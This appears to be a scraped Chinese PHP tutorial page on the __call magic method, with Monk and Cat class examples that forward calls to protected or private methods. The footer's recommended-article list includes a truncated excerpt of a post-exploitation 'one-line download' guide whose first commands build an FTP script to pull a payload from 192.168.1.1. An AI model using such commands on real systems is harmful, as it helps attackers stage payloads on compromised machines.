PHP面向对象魔术方法之__call函数
l 基本介绍:
(1) 当我们调了一个不可以访问的成员方法时,__call魔术方法就会被调用.
(2) 不可以访问的成员方法的是指(1. 该成员方法不存在, 2. 成员方法是protected或者 private)
l 需求
我们就是希望,在类的外部直接调用不可访问的成员方法(private , protected).
l 案例说明
<?php
header('content-type:text/html;charset=utf-8');
//__call魔术方法 class Monk{
public $name;
protected $hobby; public function __construct($name, $hobby){
$this->name = $name;
$this->hobby = $hobby;
} //输出该对象的信息
public function showInfo(){ echo '<br> 名字是 ' . $this->name;
foreach($this->hobby as $hobby){
echo '<br> 爱好有 ' . $hobby;
}
} //会做算术题, 保护的
protected function getSum($num1, $num2){ return $num1 + $num2;
} //编写这个__call魔术方法, __call 魔术方法会接收到两个参数
/*
@param $method_name 就是函数名
@param $parameters 就是参数,类型是array
*/
public function __call($method_name, $parameters){ // echo '<br> method_name = ' . $method_name;
// echo '<br> $parameters <br>';
// var_dump($parameters); //判断 $this 中是否有 $method_name 函数,有就返回true,否则返回false
if(method_exists($this, $method_name)){ return $this->$method_name($parameters[0], $parameters[1]);
}else{
return '没有你要调用的函数';
} }
} $monk = new Monk('济公', array('no1'=>'腾云驾雾', 'no2'=>'喝酒')); $monk->showInfo(); //当我们直接调用 protected 方法时,就会触发 __call 魔术方法
echo '<br> 结果是' . $monk->getSum(100, 200);
练习题:
<?php
header('content-type:text/html;charset=utf-8');
/*
练习题:
请编写一个Cat类(有 年龄, 名字 二个属性),要求二个属性全部都是public。
Cat类有一个 方法 jiSuan($n1, $n2, $oper) 可以计算+ - * / 是私有的.
在类外部,$对象名->play('jiSuan', $n1, $n2, $oper) 得到结果,注意play这个方法,在类中没有定义.
要求 play 是固定的,如果没有按规则写,则给出相应的错误提示! */ class Cat{
public $name;
public $age;
public function __construct($name, $age){
$this->name = $name;
$this->age = $age;
} private function jiSuan($n1, $n2, $oper){ $res = 0;
switch($oper){
case '+':
$res = $n1 + $n2;
break;
case '-':
$res = $n1 - $n2;
break;
case '*':
$res = $n1 * $n2;
break;
case '/':
$res = $n1 / $n2;
break;
default :
echo '你输入的运算符号不对';
} return $res;
} //编写一个__call 魔术方法
public function __call($method_name, $parameters){ //先判断是否通过 'play' 调用
if($method_name == 'play'){
//继续
if( method_exists($this, $parameters[0]) ){
//继续
return $this->$parameters[0]($parameters[1], $parameters[2], $parameters[3]);
}else{
return ' 你调用的 ' . $parameters[0] . ' 不存在';
}
}else{
return ' 你调用的方式有问题 ';
}
} } $cat = new Cat('小花猫', 3); echo '<br> 运算的结果是 ' . $cat->play('jiSuan', 10, 20, '-');
PHP面向对象魔术方法之__call函数的更多相关文章
- PHP面向对象魔术方法之__toString函数
l 基本介绍: 当我们希望将一个对象当做字符串来输出时,就会触发__toString魔术方法. <?php header('content-type:text/html;charset=utf- ...
- PHP面向对象魔术方法之__clone函数
l 基本介绍 : 当我们需要将一个对象完全的赋值一份, 保证两个对象的属性和属性值一样,但是他们的数据库空间独立,则可以使用对象克隆. <?php header('content-type:te ...
- PHP面向对象-----魔术方法
PHP面向对象-----魔术方法 __get($name)--触发时机:当调用一个不访问的成员属性的时候,会自动触发,可以利用这个方法来完成对不可调用的属性进行调用,但是不能设置值 ___set($n ...
- PHP面向对象魔术方法之__get 和 __set函数
l 基本的介绍 (1) 当我们去使用不可以访问的属性时,系统就会调用__get方法. (2) 不可以访问的属性指的是(1 . 该属性不存在 2. 直接访问了protected或者private属性) ...
- 魔术方法以及__call的调用
一.什么是魔术方法? 魔术方法是php中对一类方法的统称,这些方法可以在任何类中被实现.他们通常可以完成一些特殊的无法纯粹依靠自己编程实现的功能.他们通常以双下划线"__"作为名称 ...
- php里面用魔术方法和匿名函数闭包函数动态的给类里面添加方法
1.认识 __set (在给不可访问属性赋值时,__set() 会被调用) 也就是说你再访问一个类里面没有的属性,会出发这个方法 class A{ private $aa = '11'; publ ...
- 魔术方法之__call、__callStatic
1.__call() 作用,当调用不存在的方法时,会调用该方法.实际应用,当程序调用不存在的方法时,意外导致程序终止. .或者当你调用了受保护的或者是私人的方法时,也会自动调用__call方法 结果: ...
- PHP常用魔术方法(__call魔术方法:)
魔术方法 __call <?php //文件名:index.php define('a',__DIR__); include '/IMooc/Loader.php'; spl_autoload ...
- 魔术方法之__call与__callStatic方法
<?php class human{ private function t(){ } /** * 魔术方法__call * * @param string $method 获得方法名 * @pa ...
随机推荐
- 一句话下载总结(用于后渗透上传payload)
利用ftp来下载payload文件 echo open 192.168.1.1 21> ftp.txt echo ftp>> ftp.txt echo bin >> ft ...
- NX二次开发-NXOPEN设置工程图表格注释字体workPart->Fonts()->AddFont("chinesef_fs", NXOpen::FontCollection::TypeNx);
NX9+VS2012 #include <uf.h> #include <uf_tabnot.h> #include <NXOpen/Part.hxx> #incl ...
- JS对象的可枚举属性和不可枚举属性
昨天在写文章(转载)的时候发现了有些对象的方法是分可枚举性和不可枚举性的.简单的查了一下资料,今天来捋一捋啥是对象的可枚举啥是不可枚举. 可枚举性: 对象的每一个属性都有一个描述对象,用来描述和控制该 ...
- Python中将dict转换为kwargs
Python中将dict转换为kwargs 我们都知道kwargs是变长kv参数,能否将dict转换成kwargs. 在python调用函数的时候func(**{'type'='event'}),可以 ...
- Java-Idea-笔记:lombok、微信支付依赖
ylbtech-Java-Idea-笔记:lombok.微信支付依赖 1. idea-install-lombok返回顶部 1.0. P:问题描述Idea每打开一个类文件,类名就标红,不影响运行,但g ...
- hive简述
显示表头,当前终端有效 set hive.cli.print.header=true; 查看表结构 desc table; 详细的表结构 desc formatted table; 删除表 drop ...
- jQuery 引入多个库文件冲突
index.html <head><meta http-equiv="Content-Type" content="text/html; charset ...
- A1075 PAT Judge (25 分)
The ranklist of PAT is generated from the status list, which shows the scores of the submissions. Th ...
- 8分钟带你深入浅出搞懂Nginx
Nginx是一款轻量级的Web服务器.反向代理服务器,由于它的内存占用少,启动极快,高并发能力强,在互联网项目中广泛应用. 图基本上说明了当下流行的技术架构,其中Nginx有点入口网关的味道. 反向代 ...
- 【Wikioi】P1401 逆序统计 代码
题目链接:http://wikioi.com/solution/list/1401/ 题解链接:http://user.qzone.qq.com/619943612/blog/1377265690 代 ...